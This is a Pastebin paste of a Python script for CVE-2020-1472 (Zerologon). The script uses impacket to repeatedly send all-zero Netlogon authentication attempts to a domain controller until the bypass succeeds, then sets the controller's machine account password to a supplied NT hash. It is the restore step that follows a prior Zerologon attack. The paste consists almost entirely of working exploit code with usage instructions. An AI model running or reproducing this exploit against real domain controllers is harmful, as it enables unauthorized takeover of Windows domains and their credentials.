W0rMz000

CVE-2020-1472 - Restore Password

Nov 3rd, 2020
2,680
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 6.52 KB | None | 0 0
  1. #!/usr/bin/env python3
  2.  
  3. from impacket.dcerpc.v5 import nrpc, epm
  4. from impacket.dcerpc.v5.dtypes import NULL
  5. from impacket.dcerpc.v5 import transport
  6. from impacket import crypto
  7. from impacket.dcerpc.v5.ndr import NDRCALL
  8. import impacket
  9.  
  10. import hmac, hashlib, struct, sys, socket, time
  11. from binascii import hexlify, unhexlify
  12. from subprocess import check_call
  13. from Cryptodome.Cipher import DES, AES, ARC4
  14. from struct import pack, unpack
  15.  
  16. # Give up brute-forcing after this many attempts. If vulnerable, 256 attempts are expected to be neccessary on average.
  17. MAX_ATTEMPTS = 2000 # False negative chance: 0.04%
  18.  
  19.  
  20. class NetrServerPasswordSet(nrpc.NDRCALL):
  21.     opnum = 6
  22.     structure = (
  23.         ('PrimaryName',nrpc.PLOGONSRV_HANDLE),
  24.         ('AccountName',nrpc.WSTR),
  25.         ('SecureChannelType',nrpc.NETLOGON_SECURE_CHANNEL_TYPE),
  26.         ('ComputerName',nrpc.WSTR),
  27.         ('Authenticator',nrpc.NETLOGON_AUTHENTICATOR),
  28.         ('UasNewPassword',nrpc.ENCRYPTED_NT_OWF_PASSWORD),
  29.     )
  30.  
  31. class NetrServerPasswordSetResponse(nrpc.NDRCALL):
  32.     structure = (
  33.         ('ReturnAuthenticator',nrpc.NETLOGON_AUTHENTICATOR),
  34.         ('ErrorCode',nrpc.NTSTATUS),
  35.     )
  36.  
  37. def fail(msg):
  38.   print(msg, file=sys.stderr)
  39.   print('This might have been caused by invalid arguments or network issues.', file=sys.stderr)
  40.   sys.exit(2)
  41.  
  42. def try_zero_authenticate(dc_handle, dc_ip, target_computer, originalpw):
  43.   # Connect to the DC's Netlogon service.
  44.   binding = epm.hept_map(dc_ip, nrpc.MSRPC_UUID_NRPC, protocol='ncacn_ip_tcp')
  45.   rpc_con = transport.DCERPCTransportFactory(binding).get_dce_rpc()
  46.   rpc_con.connect()
  47.   rpc_con.bind(nrpc.MSRPC_UUID_NRPC)
  48.  
  49.   plaintext = b'\x00'*8
  50.   ciphertext = b'\x00'*8
  51.   flags = 0x212fffff
  52.  
  53.   # Send challenge and authentication request.
  54.   serverChallengeResp = nrpc.hNetrServerReqChallenge(rpc_con, dc_handle + '\x00', target_computer + '\x00', plaintext)
  55.   serverChallenge = serverChallengeResp['ServerChallenge']
  56.   try:
  57.     server_auth = nrpc.hNetrServerAuthenticate3(
  58.       rpc_con, dc_handle + '\x00', target_computer+"$\x00", nrpc.NETLOGON_SECURE_CHANNEL_TYPE.ServerSecureChannel,
  59.       target_computer + '\x00', ciphertext, flags
  60.     )
  61.  
  62.    
  63.     # It worked!
  64.     assert server_auth['ErrorCode'] == 0
  65.     print()
  66.     server_auth.dump()
  67.     print("server challenge", serverChallenge)
  68.     sessionKey = nrpc.ComputeSessionKeyAES(None,b'\x00'*8, serverChallenge, unhexlify("31d6cfe0d16ae931b73c59d7e0c089c0"))
  69.     print("session key", sessionKey)
  70.  
  71.     try:
  72.       IV=b'\x00'*16
  73.       #Crypt1 = AES.new(sessionKey, AES.MODE_CFB, IV)
  74.       #serverCred = Crypt1.encrypt(serverChallenge)
  75.       #print("server cred", serverCred)
  76.       #clientCrypt = AES.new(sessionKey, AES.MODE_CFB, IV)
  77.       #clientCred = clientCrypt.encrypt(b'\x00'*8)
  78.       #print("client cred", clientCred)
  79.       #timestamp_var = 10
  80.       #clientStoredCred =  pack('<Q', unpack('<Q', b'\x00'*8)[0] + timestamp_var)
  81.       #print("client stored cred", clientStoredCred)
  82.       authenticator = nrpc.NETLOGON_AUTHENTICATOR()
  83.       #authenticatorCrypt = AES.new(sessionKey, AES.MODE_CFB, IV)
  84.       #authenticatorCred = authenticatorCrypt.encrypt(clientStoredCred);
  85.       #print("authenticator cred", authenticatorCred)
  86.       authenticator['Credential'] = ciphertext #authenticatorCred
  87.       authenticator['Timestamp'] = b"\x00" * 4 #0 # timestamp_var
  88.       #request = nrpc.NetrLogonGetCapabilities()
  89.       #request['ServerName'] = '\x00'*20
  90.       #request['ComputerName'] = target_computer + '\x00'
  91.       #request['Authenticator'] = authenticator
  92.       #request['ReturnAuthenticator']['Credential'] = b'\x00' * 8
  93.       #request['ReturnAuthenticator']['Timestamp'] = 0
  94.       #request['QueryLevel'] = 1
  95.       #resp = rpc_con.request(request)
  96.       #resp.dump()
  97.  
  98.       nrpc.NetrServerPasswordSetResponse = NetrServerPasswordSetResponse
  99.       nrpc.OPNUMS[6] = (NetrServerPasswordSet, nrpc.NetrServerPasswordSetResponse)
  100.      
  101.       request = NetrServerPasswordSet()
  102.       request['PrimaryName'] = NULL
  103.       request['AccountName'] = target_computer + '$\x00'
  104.       request['SecureChannelType'] = nrpc.NETLOGON_SECURE_CHANNEL_TYPE.ServerSecureChannel
  105.       request['ComputerName'] = target_computer + '\x00'
  106.       request["Authenticator"] = authenticator
  107.       #request['ReturnAuthenticator']['Credential'] = b'\x00' * 8
  108.       #request['ReturnAuthenticator']['Timestamp'] = 0
  109.       pwdata = impacket.crypto.SamEncryptNTLMHash(unhexlify(originalpw), sessionKey)
  110.       request["UasNewPassword"] = pwdata
  111.       resp = rpc_con.request(request)
  112.       resp.dump()
  113.  
  114.       #request['PrimaryName'] = NULL
  115.       #request['ComputerName'] = target_computer + '\x00'
  116.       #request['OpaqueBuffer'] = b'HOLABETOCOMOANDAS\x00'
  117.       #request['OpaqueBufferSize'] = len(b'HOLABETOCOMOANDAS\x00')
  118.       #resp = rpc_con.request(request)
  119.       #resp.dump()      
  120.     except Exception as e:
  121.       print(e)
  122.     return rpc_con
  123.  
  124.   except nrpc.DCERPCSessionError as ex:
  125.     #print(ex)
  126.     # Failure should be due to a STATUS_ACCESS_DENIED error. Otherwise, the attack is probably not working.
  127.     if ex.get_error_code() == 0xc0000022:
  128.       return None
  129.     else:
  130.       fail(f'Unexpected error code from DC: {ex.get_error_code()}.')
  131.   except BaseException as ex:
  132.     fail(f'Unexpected error: {ex}.')
  133.  
  134.  
  135. def perform_attack(dc_handle, dc_ip, target_computer, originalpw):
  136.   # Keep authenticating until succesfull. Expected average number of attempts needed: 256.
  137.   print('Performing authentication attempts...')
  138.   rpc_con = None
  139.   for attempt in range(0, MAX_ATTEMPTS):  
  140.     rpc_con = try_zero_authenticate(dc_handle, dc_ip, target_computer, originalpw)
  141.    
  142.     if rpc_con == None:
  143.       print('=', end='', flush=True)
  144.     else:
  145.       break
  146.  
  147.   if rpc_con:
  148.     print('\nSuccess! DC machine account should be restored to it\'s original value. You might want to secretsdump again to check.')
  149.   else:
  150.     print('\nAttack failed. Target is probably patched.')
  151.     sys.exit(1)
  152.  
  153.  
  154. if __name__ == '__main__':
  155.   if not (4 <= len(sys.argv) <= 5):
  156.     print('Usage: reinstall_original_pw.py <dc-name> <dc-ip> <hexlified original nthash>\n')
  157.     print('Reinstalls a particular machine hash for the machine account on the target DC. Assumes the machine password has previously been reset to the empty string')
  158.     print('Note: dc-name should be the (NetBIOS) computer name of the domain controller.')
  159.     sys.exit(1)
  160.   else:
  161.     [_, dc_name, dc_ip, originalpw] = sys.argv
  162.  
  163.     dc_name = dc_name.rstrip('$')
  164.     perform_attack('\\\\' + dc_name, dc_ip, dc_name, originalpw)
  165.  
Advertisement
Add Comment
Please, Sign In to add comment